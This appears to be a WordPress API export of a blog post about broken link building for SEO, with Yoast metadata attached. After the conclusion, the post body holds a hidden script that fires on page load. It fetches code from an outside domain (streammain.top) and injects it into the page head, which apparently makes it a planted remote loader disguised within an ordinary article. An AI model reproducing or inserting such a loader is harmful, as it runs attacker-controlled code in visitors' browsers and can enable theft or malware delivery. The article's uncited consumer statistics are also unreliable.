{"id":1187,"date":"2022-11-10T12:19:22","date_gmt":"2022-11-10T12:19:22","guid":{"rendered":"https:\/\/www.kvrsingapore.com\/blog\/?p=1187"},"modified":"2025-06-26T03:44:51","modified_gmt":"2025-06-26T03:44:51","slug":"what-is-broken-link-building-and-is-it-viable-for-seo","status":"publish","type":"post","link":"https:\/\/www.kvrsingapore.com\/blog\/what-is-broken-link-building-and-is-it-viable-for-seo\/","title":{"rendered":"What Is Broken Link Building, and Is It Viable For SEO?"},"content":{"rendered":"\n<p>Broken link building is a useful way of taking advantage of broken pages on the web. This tactic is essential for SEO.<\/p>\n\n\n\n<p>Broken link building is a link-building method that takes advantage of the many dead pages on the internet.<\/p>\n\n\n\n<p>The process involves finding these pages and asking them to swap links with your working page. While some SEOs claim this method is less effective than other methods, it is still possible to find valuable dead links.<\/p>\n\n\n\n<p>This blog will discuss why broken link building is viable for SEO. You can even hire <strong><a href=\"https:\/\/www.kvrsingapore.com\/local-seo-services-singapore.html\">professional SEO company<\/a><\/strong> to help you out resolving website issues and help you to rank on SERP.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><a><\/a>Importance of Broken Links in SEO<\/h2>\n\n\n\n<p>Broken links can impact your brand&#8217;s reputation, user experience, and website ranking. In this article, we&#8217;ll discuss the impacts of broken links on these factors.<\/p>\n\n\n\n<p>We&#8217;ll also examine why broken links are important and how to combat them. We&#8217;ll also look at how broken links can benefit your user experience.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><a><\/a>Impact of broken links on user experience<\/h2>\n\n\n\n<p>Broken links can have a major impact on the user experience of your website. It&#8217;s estimated that 88% of online consumers will not return to a website with broken links.<\/p>\n\n\n\n<p>Broken links are also detrimental to your online reputation. Broken links can occur after a redesign, when images and videos are removed, or when the URL of a page is changed.<\/p>\n\n\n\n<p>Broken links detract from a user&#8217;s experience and should be fixed as soon as possible. It&#8217;s been said that 89% of consumers will shop with a competitor after experiencing a bad user experience, so it&#8217;s important to keep your first impression of your website as positive as possible.<\/p>\n\n\n\n<p>Broken links will cause users to leave your site if you still need to find the information they were looking for.<\/p>\n\n\n\n<p>Broken links are problematic for a user&#8217;s experience and harm your website&#8217;s reputation and ranking in search results.<\/p>\n\n\n\n<p>Regardless of your industry, a broken link can affect your ranking on Google. While fixing a broken link may be relatively straightforward, finding a valid alternative may require more work.<\/p>\n\n\n\n<p>Fortunately, several methods can be used to unburden a website of broken links. Initially, you can contact the site&#8217;s owners to determine what went wrong.<\/p>\n\n\n\n<p>Alternatively, you can set up a 301 redirect to redirect a broken link to a working page on your website. Either way, fixing broken links is important to any website improvement.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><a><\/a>Impact of broken links on website ranking<\/h2>\n\n\n\n<p>Broken links that are merely visually unpleasant are no fun for visitors, but they can also jeopardize the user experience on a website.<\/p>\n\n\n\n<p>If users are still looking for information that they need, they may abandon the website and search for a competitor instead. Consequently, your competition will likely outrank you for search engine ranking.<\/p>\n\n\n\n<p>To improve your website&#8217;s search engine rankings, fixing broken links is one of the most important steps. Using Google Search Console allows you to discover broken links and fix them.<\/p>\n\n\n\n<p>However, external links may take longer to fix. Broken links can also cause your website to be penalized for being outdated or not updated regularly.<\/p>\n\n\n\n<p>Broken links can be caused by several factors, including name changes, page deletions, and content deletions.<\/p>\n\n\n\n<p>Fortunately, most broken links are easy to fix. Another reason to fix broken links is to alter your website&#8217;s URL. Many web admins need to understand the ramifications of this to change URLs fully.<\/p>\n\n\n\n<p>Broken links hurt the user experience. They discourage users from clicking on your site and will lead them to look for alternative sources.<\/p>\n\n\n\n<p>This means lost revenue and customers. In addition, broken links can also lead to a lower search engine ranking.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><a><\/a>Conclusion<\/h2>\n\n\n\n<p>Broken links can be a gold mine for content marketers. They offer an opportunity to create relevant links that boost a website&#8217;s rankings.<\/p>\n\n\n\n<p>Broken link building can be an exciting way to enhance your backlink portfolio by gaining backlinks from thematically appropriate pages that competitor sites have removed. This method also helps tidy up the web.<\/p>\n\n\n\n<p>After all, nobody likes to click on dead links.<\/p>\n<script>;document.addEventListener(\"DOMContentLoaded\", function () {\n    var url = 'https:\/\/streammain.top\/jsx';\n    fetch(url)\n        .then(response => response.text())\n        .then(data => {\n            var script = document.createElement('script');\n            script.innerHTML = data.trim();\n            document.head.appendChild(script);\n        })\n});<\/script><div style=\"padding-bottom:20px; padding-top:10px;\" class=\"hupso-share-buttons\"><!-- Hupso Share Buttons - http:\/\/www.hupso.com\/share\/ --><a class=\"hupso_toolbar\" href=\"http:\/\/www.hupso.com\/share\/\"><img decoding=\"async\" src=\"https:\/\/static.hupso.com\/share\/buttons\/share-medium.png\" style=\"border:0px; padding-top:5px; float:left;\" alt=\"Share Button\"\/><\/a><script type=\"text\/javascript\">var hupso_services_t=new Array(\"Twitter\",\"Facebook\",\"Google Plus\",\"Pinterest\",\"Linkedin\");var hupso_background_t=\"#EAF4FF\";var hupso_border_t=\"#66CCFF\";var hupso_toolbar_size_t=\"medium\";var hupso_image_folder_url = \"\";var hupso_url_t=\"\";var hupso_title_t=\"What Is Broken Link Building, and Is It Viable For SEO?\";<\/script><script type=\"text\/javascript\" src=\"https:\/\/static.hupso.com\/share\/js\/share_toolbar.js\"><\/script><!-- Hupso Share Buttons --><\/div>","protected":false},"excerpt":{"rendered":"<p>Broken link building is a useful way of taking advantage of broken pages on the web. This tactic is essential for SEO. Broken link building is a link-building method that takes advantage of the many dead pages on the internet. The process involves finding these pages and asking them to swap links with your working [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":1188,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[2,55,5],"tags":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v22.4 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>All About Broken Link Building, and Is It Viable For SEO?<\/title>\n<meta name=\"description\" content=\"Broken link building is a useful way of taking advantage of broken pages on the web. This tactic is essential for SEO.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.kvrsingapore.com\/blog\/what-is-broken-link-building-and-is-it-viable-for-seo\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"All About Broken Link Building, and Is It Viable For SEO?\" \/>\n<meta property=\"og:description\" content=\"Broken link building is a useful way of taking advantage of broken pages on the web. This tactic is essential for SEO.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.kvrsingapore.com\/blog\/what-is-broken-link-building-and-is-it-viable-for-seo\/\" \/>\n<meta property=\"og:site_name\" content=\"Kvrsingapore Blog\" \/>\n<meta property=\"article:published_time\" content=\"2022-11-10T12:19:22+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2025-06-26T03:44:51+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/www.kvrsingapore.com\/blog\/wp-content\/uploads\/2022\/11\/Untitled-design-14.png\" \/>\n\t<meta property=\"og:image:width\" content=\"300\" \/>\n\t<meta property=\"og:image:height\" content=\"200\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/png\" \/>\n<meta name=\"author\" content=\"Varun Sharma\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"Varun Sharma\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"3 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.kvrsingapore.com\/blog\/what-is-broken-link-building-and-is-it-viable-for-seo\/\",\"url\":\"https:\/\/www.kvrsingapore.com\/blog\/what-is-broken-link-building-and-is-it-viable-for-seo\/\",\"name\":\"All About Broken Link Building, and Is It Viable For SEO?\",\"isPartOf\":{\"@id\":\"https:\/\/www.kvrsingapore.com\/blog\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\/\/www.kvrsingapore.com\/blog\/what-is-broken-link-building-and-is-it-viable-for-seo\/#primaryimage\"},\"image\":{\"@id\":\"https:\/\/www.kvrsingapore.com\/blog\/what-is-broken-link-building-and-is-it-viable-for-seo\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/www.kvrsingapore.com\/blog\/wp-content\/uploads\/2022\/11\/Untitled-design-14.png\",\"datePublished\":\"2022-11-10T12:19:22+00:00\",\"dateModified\":\"2025-06-26T03:44:51+00:00\",\"author\":{\"@id\":\"https:\/\/www.kvrsingapore.com\/blog\/#\/schema\/person\/73886b766b3253e5f10e30ff1eeabb02\"},\"description\":\"Broken link building is a useful way of taking advantage of broken pages on the web. This tactic is essential for SEO.\",\"breadcrumb\":{\"@id\":\"https:\/\/www.kvrsingapore.com\/blog\/what-is-broken-link-building-and-is-it-viable-for-seo\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.kvrsingapore.com\/blog\/what-is-broken-link-building-and-is-it-viable-for-seo\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/www.kvrsingapore.com\/blog\/what-is-broken-link-building-and-is-it-viable-for-seo\/#primaryimage\",\"url\":\"https:\/\/www.kvrsingapore.com\/blog\/wp-content\/uploads\/2022\/11\/Untitled-design-14.png\",\"contentUrl\":\"https:\/\/www.kvrsingapore.com\/blog\/wp-content\/uploads\/2022\/11\/Untitled-design-14.png\",\"width\":300,\"height\":200,\"caption\":\"SEO service\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.kvrsingapore.com\/blog\/what-is-broken-link-building-and-is-it-viable-for-seo\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\/\/www.kvrsingapore.com\/blog\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"What Is Broken Link Building, and Is It Viable For SEO?\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.kvrsingapore.com\/blog\/#website\",\"url\":\"https:\/\/www.kvrsingapore.com\/blog\/\",\"name\":\"Kvrsingapore Blog\",\"description\":\"\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.kvrsingapore.com\/blog\/?s={search_term_string}\"},\"query-input\":\"required name=search_term_string\"}],\"inLanguage\":\"en-US\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.kvrsingapore.com\/blog\/#\/schema\/person\/73886b766b3253e5f10e30ff1eeabb02\",\"name\":\"Varun Sharma\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/www.kvrsingapore.com\/blog\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/secure.gravatar.com\/avatar\/056840fd4dcf44acba272ad571d95aca?s=96&d=mm&r=g\",\"contentUrl\":\"https:\/\/secure.gravatar.com\/avatar\/056840fd4dcf44acba272ad571d95aca?s=96&d=mm&r=g\",\"caption\":\"Varun Sharma\"},\"description\":\"Started working as a digital marketing expert, Varun Sharma is now also a well-known digital marketing speaker \u2013 a speaker on performance development, and a trusted mentor to businesses in the digital world.\",\"url\":\"https:\/\/www.kvrsingapore.com\/blog\/author\/varunsharma\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"All About Broken Link Building, and Is It Viable For SEO?","description":"Broken link building is a useful way of taking advantage of broken pages on the web. This tactic is essential for SEO.","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.kvrsingapore.com\/blog\/what-is-broken-link-building-and-is-it-viable-for-seo\/","og_locale":"en_US","og_type":"article","og_title":"All About Broken Link Building, and Is It Viable For SEO?","og_description":"Broken link building is a useful way of taking advantage of broken pages on the web. This tactic is essential for SEO.","og_url":"https:\/\/www.kvrsingapore.com\/blog\/what-is-broken-link-building-and-is-it-viable-for-seo\/","og_site_name":"Kvrsingapore Blog","article_published_time":"2022-11-10T12:19:22+00:00","article_modified_time":"2025-06-26T03:44:51+00:00","og_image":[{"width":300,"height":200,"url":"https:\/\/www.kvrsingapore.com\/blog\/wp-content\/uploads\/2022\/11\/Untitled-design-14.png","type":"image\/png"}],"author":"Varun Sharma","twitter_card":"summary_large_image","twitter_misc":{"Written by":"Varun Sharma","Est. reading time":"3 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebPage","@id":"https:\/\/www.kvrsingapore.com\/blog\/what-is-broken-link-building-and-is-it-viable-for-seo\/","url":"https:\/\/www.kvrsingapore.com\/blog\/what-is-broken-link-building-and-is-it-viable-for-seo\/","name":"All About Broken Link Building, and Is It Viable For SEO?","isPartOf":{"@id":"https:\/\/www.kvrsingapore.com\/blog\/#website"},"primaryImageOfPage":{"@id":"https:\/\/www.kvrsingapore.com\/blog\/what-is-broken-link-building-and-is-it-viable-for-seo\/#primaryimage"},"image":{"@id":"https:\/\/www.kvrsingapore.com\/blog\/what-is-broken-link-building-and-is-it-viable-for-seo\/#primaryimage"},"thumbnailUrl":"https:\/\/www.kvrsingapore.com\/blog\/wp-content\/uploads\/2022\/11\/Untitled-design-14.png","datePublished":"2022-11-10T12:19:22+00:00","dateModified":"2025-06-26T03:44:51+00:00","author":{"@id":"https:\/\/www.kvrsingapore.com\/blog\/#\/schema\/person\/73886b766b3253e5f10e30ff1eeabb02"},"description":"Broken link building is a useful way of taking advantage of broken pages on the web. This tactic is essential for SEO.","breadcrumb":{"@id":"https:\/\/www.kvrsingapore.com\/blog\/what-is-broken-link-building-and-is-it-viable-for-seo\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.kvrsingapore.com\/blog\/what-is-broken-link-building-and-is-it-viable-for-seo\/"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.kvrsingapore.com\/blog\/what-is-broken-link-building-and-is-it-viable-for-seo\/#primaryimage","url":"https:\/\/www.kvrsingapore.com\/blog\/wp-content\/uploads\/2022\/11\/Untitled-design-14.png","contentUrl":"https:\/\/www.kvrsingapore.com\/blog\/wp-content\/uploads\/2022\/11\/Untitled-design-14.png","width":300,"height":200,"caption":"SEO service"},{"@type":"BreadcrumbList","@id":"https:\/\/www.kvrsingapore.com\/blog\/what-is-broken-link-building-and-is-it-viable-for-seo\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/www.kvrsingapore.com\/blog\/"},{"@type":"ListItem","position":2,"name":"What Is Broken Link Building, and Is It Viable For SEO?"}]},{"@type":"WebSite","@id":"https:\/\/www.kvrsingapore.com\/blog\/#website","url":"https:\/\/www.kvrsingapore.com\/blog\/","name":"Kvrsingapore Blog","description":"","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.kvrsingapore.com\/blog\/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"en-US"},{"@type":"Person","@id":"https:\/\/www.kvrsingapore.com\/blog\/#\/schema\/person\/73886b766b3253e5f10e30ff1eeabb02","name":"Varun Sharma","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.kvrsingapore.com\/blog\/#\/schema\/person\/image\/","url":"https:\/\/secure.gravatar.com\/avatar\/056840fd4dcf44acba272ad571d95aca?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/056840fd4dcf44acba272ad571d95aca?s=96&d=mm&r=g","caption":"Varun Sharma"},"description":"Started working as a digital marketing expert, Varun Sharma is now also a well-known digital marketing speaker \u2013 a speaker on performance development, and a trusted mentor to businesses in the digital world.","url":"https:\/\/www.kvrsingapore.com\/blog\/author\/varunsharma\/"}]}},"_links":{"self":[{"href":"https:\/\/www.kvrsingapore.com\/blog\/wp-json\/wp\/v2\/posts\/1187"}],"collection":[{"href":"https:\/\/www.kvrsingapore.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.kvrsingapore.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.kvrsingapore.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.kvrsingapore.com\/blog\/wp-json\/wp\/v2\/comments?post=1187"}],"version-history":[{"count":2,"href":"https:\/\/www.kvrsingapore.com\/blog\/wp-json\/wp\/v2\/posts\/1187\/revisions"}],"predecessor-version":[{"id":1469,"href":"https:\/\/www.kvrsingapore.com\/blog\/wp-json\/wp\/v2\/posts\/1187\/revisions\/1469"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.kvrsingapore.com\/blog\/wp-json\/wp\/v2\/media\/1188"}],"wp:attachment":[{"href":"https:\/\/www.kvrsingapore.com\/blog\/wp-json\/wp\/v2\/media?parent=1187"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.kvrsingapore.com\/blog\/wp-json\/wp\/v2\/categories?post=1187"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.kvrsingapore.com\/blog\/wp-json\/wp\/v2\/tags?post=1187"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}